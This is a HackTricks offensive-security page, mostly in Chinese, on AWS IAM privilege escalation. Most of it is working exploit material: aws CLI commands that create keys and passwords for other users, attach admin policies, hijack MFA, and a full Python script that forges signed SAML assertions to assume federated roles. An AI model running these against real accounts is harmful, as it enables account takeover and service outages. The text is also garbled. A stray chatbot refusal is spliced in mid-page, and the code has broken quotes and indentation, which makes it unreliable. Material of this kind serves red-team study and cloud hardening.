AWS - IAM Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

IAM

有关 IAM 的更多信息,请参阅:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

授予创建新的 IAM 策略版本的能力,通过使用 --set-as-default 标志可以绕过对 iam:SetDefaultPolicyVersion 权限的需求。这允许定义自定义权限。

利用命令:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

影响: 通过允许对任何资源执行任何操作直接提升权限。

iam:SetDefaultPolicyVersion

允许将 IAM 策略的默认版本更改为另一个已存在的版本,如果新版本具有更多权限,可能导致权限提升。

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

影响: 通过启用更多权限,可能导致间接的 privilege escalation。

iam:CreateAccessKey, (iam:DeleteAccessKey)

允许为其他用户创建 access key ID 和 secret access key,从而可能导致 privilege escalation。

利用:

aws iam create-access-key --user-name <target_user>

Impact: 直接的权限提升 — 通过假设另一个用户的扩展权限。

注意:每个用户最多只能创建 2 个 access keys,因此如果某个用户已经有 2 个 access keys,你需要权限 iam:DeleteAccessKey 来删除其中一个,以便创建新的:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

如果你能够创建一个新的虚拟 MFA 设备并将其启用到另一个用户上,你就可以实质上为该用户注册你自己的 MFA,然后为其凭证请求一个基于 MFA 的会话。

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: 通过接管用户的 MFA enrollment(然后使用他们的权限)实现 Direct privilege escalation。

iam:CreateLoginProfile | iam:UpdateLoginProfile

允许创建或更新 login profile,包括为 AWS 控制台登录设置密码,从而导致 direct privilege escalation。

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

用于更新的 Exploit:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

影响: 通过以 “any” 用户登录直接进行权限提升。

iam:UpdateAccessKey

允许启用被禁用的访问密钥,如果攻击者拥有该被禁用的密钥,可能导致未授权访问。

利用:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact: 直接通过重新激活访问密钥实现特权升级。

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

允许为特定的 AWS 服务(最常见的是 CodeCommit)生成或重置凭证。这些不是 AWS API 密钥:它们是针对特定服务的用户名/密码凭证,而且只能在该服务接受这些凭证的地方使用。

Creation:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

保存:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

示例:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

注意:服务密码通常包含像 +/= 这样的字符。使用交互式提示通常最为方便。如果将其嵌入到 URL 中,先对其进行 URL-encode。

此时你可以读取目标用户在 CodeCommit 中能访问的任何内容(例如,一个 leaked credentials file)。如果你从仓库中检索到了 AWS access keys,用这些密钥配置一个新的 AWS CLI 配置文件,然后访问资源(例如,从 Secrets Manager 中读取一个 flag):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

重置:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

影响: 导致对目标用户在给定服务上的权限提升(如果你使用从该服务检索到的数据进行 pivot,可能进一步扩大权限)。

iam:AttachUserPolicy || iam:AttachGroupPolicy

允许将策略附加到用户或组,从而通过继承所附策略的权限直接提升权限。

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit 用于组:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

影响: 可直接将权限提升到该策略授予的任意权限。

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

允许将策略附加或放置到角色、用户或组,从而通过授予额外权限实现直接权限提升。

针对角色的利用:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

用于 Inline Policies 的 Exploit:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

你可以使用如下策略:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

影响: 通过策略添加权限实现直接 privilege escalation。

iam:AddUserToGroup

允许将自己添加到 IAM 组,从而通过继承该组的权限来 escalating privileges。

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

影响: 直接提权到该组权限的级别。

iam:UpdateAssumeRolePolicy

允许修改角色的 assume role policy document,使得可以 assume 该角色及其相关权限。

利用:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

当策略如下所示,授予用户假定该角色的权限:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: 通过假定任意角色的权限实现直接权限提升。

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

允许上传用于对 CodeCommit 进行身份验证的 SSH 公钥,并停用 MFA 设备,可能导致间接的权限提升。

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit 用于 MFA 禁用:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

影响: 间接权限提升,通过启用 CodeCommit 访问或禁用 MFA 保护。

iam:ResyncMFADevice

允许重新同步 MFA 设备,可能通过操作 MFA 保护导致间接权限提升。

Bash 命令:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

影响: 通过添加或操纵 MFA 设备导致间接权限提升。

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

拥有这些权限可以 更改 SAML 连接的 XML 元数据。然后,你可以滥用 SAML federationlogin 到任何信任它的 role

注意,执行此操作后 合法用户将无法登录。不过,你可以获取 XML,因此可以放入你自己的,login 然后将之前的配置恢复回来。

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

端到端攻击:

  1. 枚举 SAML provider 和信任它的角色:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. 伪造 IdP metadata + 针对 role/provider 对的已签名 SAML 断言:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
可展开: /tmp/saml_forge.py 辅助脚本(元数据 + 签名断言) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. 将 SAML provider metadata 更新为你的 IdP certificate,assume the role,并使用返回的 STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. 清理:恢复先前的元数据:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

更新 SAML provider metadata 会造成中断:在你的元数据生效期间,合法的 SSO 用户可能无法进行身份验证。

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(不确定) 如果攻击者拥有这些 权限,他可以添加一个新的 Thumbprint,从而能够登录所有信任该提供者的角色。

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

此权限允许攻击者更新用户的权限边界,可能通过允许其执行通常受现有权限限制的操作来提升其权限。

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

拥有 iam:PutRolePermissionsBoundary 的主体可以在现有角色上设置权限边界。风险在于,当具有此权限的人更改角色的边界时:他们可能会不当地限制操作(导致服务中断),或者如果附加了过于宽松的边界,则会实质上扩展该角色的权限并提升特权。

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

攻击者在其控制下创建一个虚拟 MFA 设备并将其附加到目标 IAM 用户上,替换或绕过受害者原本的 MFA。利用该攻击者控制的 MFA 的 seed,他们生成有效的一次性密码,并通过 STS 请求一个经 MFA 验证的会话令牌。这样攻击者就能满足 MFA 要求并以受害者身份获取临时凭证,即使启用了 MFA,也能有效完成 account takeover。

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

创建新的虚拟 MFA 设备(将 seed 写入文件)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

从 seed 文件生成两个连续的 TOTP 代码:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

在目标用户上启用 MFA 设备,替换 MFA_SERIAL_ARN、CODE1、CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t produce a valid AWS STS MFA token for you without the MFA device/secret. But here are concise, safe ways to generate the current TOTP code yourself and how to use it with STS.

  1. Using oathtool (Linux/macOS)
  • Install: on Debian/Ubuntu: sudo apt install oathtool
  • Generate (BASE32 is your MFA secret): oathtool –totp -b “BASE32SECRET”
  1. Using Python + pyotp
  • Install: pip install pyotp
  • Script: import pyotp totp = pyotp.TOTP(“BASE32SECRET”) print(totp.now())
  1. Using PowerShell (Windows)

(If you want a ready PowerShell snippet, tell me whether you can install a module or use Otp.NET and I’ll provide one.)

  1. Use the code with AWS CLI (example)
  • Get session token with MFA: aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456
  • Replace the serial-number ARN and token-code (the 6-digit code you generated).

Notes:

  • The token is time-based (usually 30s); ensure local clock is accurate (NTP).
  • Keep your MFA secret private; do not share it.
  • If you want, provide your Base32 secret (only if it’s your own and you understand the risk) and I can show the exact current TOTP locally—but I cannot and will not generate or guess someone else’s token.
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

将打印出的值复制为 TOKEN_CODE,并请求一个受 MFA 支持的会话令牌 (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks